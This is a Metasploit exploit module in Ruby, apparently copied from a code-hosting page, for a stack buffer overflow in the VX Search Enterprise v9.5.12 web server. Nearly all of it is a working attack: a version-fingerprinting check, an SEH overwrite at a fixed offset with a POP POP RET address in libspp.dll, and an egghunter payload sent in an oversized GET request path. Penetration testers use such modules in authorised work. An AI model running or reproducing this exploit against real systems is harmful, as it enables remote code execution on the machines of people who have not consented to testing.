103 lines
2.6 KiB
Ruby
103 lines
2.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
include Msf::Exploit::Remote::Egghunter
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VX Search Enterprise GET Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow vulnerability
|
|
in the web interface of VX Search Enterprise v9.5.12, caused by
|
|
improper bounds checking of the request path in HTTP GET requests
|
|
sent to the built-in web server. This module has been tested
|
|
successfully on Windows 7 SP1 x86.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Daniel Teixeira'
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
|
|
'Space' => 500
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'VX Search Enterprise v9.5.12',
|
|
{
|
|
'Offset' => 2488,
|
|
'Ret' => 0x10015ffe # POP # POP # RET [libspp.dll]
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => 'Mar 15 2017',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => '/'
|
|
)
|
|
|
|
if res && res.code == 200
|
|
version = res.body[/VX Search Enterprise v[^<]*/]
|
|
if version
|
|
vprint_status("Version detected: #{version}")
|
|
if version =~ /9\.5\.12/
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
else
|
|
vprint_error('Unable to determine due to a HTTP connection timeout')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
|
|
eggoptions = {
|
|
checksum: true,
|
|
eggtag: rand_text_alpha(4, payload_badchars)
|
|
}
|
|
|
|
hunter, egg = generate_egghunter(
|
|
payload.encoded,
|
|
payload_badchars,
|
|
eggoptions
|
|
)
|
|
|
|
sploit = rand_text_alpha(target['Offset'])
|
|
sploit << generate_seh_record(target.ret)
|
|
sploit << hunter
|
|
sploit << make_nops(10)
|
|
sploit << egg
|
|
sploit << rand_text_alpha(5500)
|
|
|
|
print_status('Sending request...')
|
|
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => sploit
|
|
)
|
|
end
|
|
end
|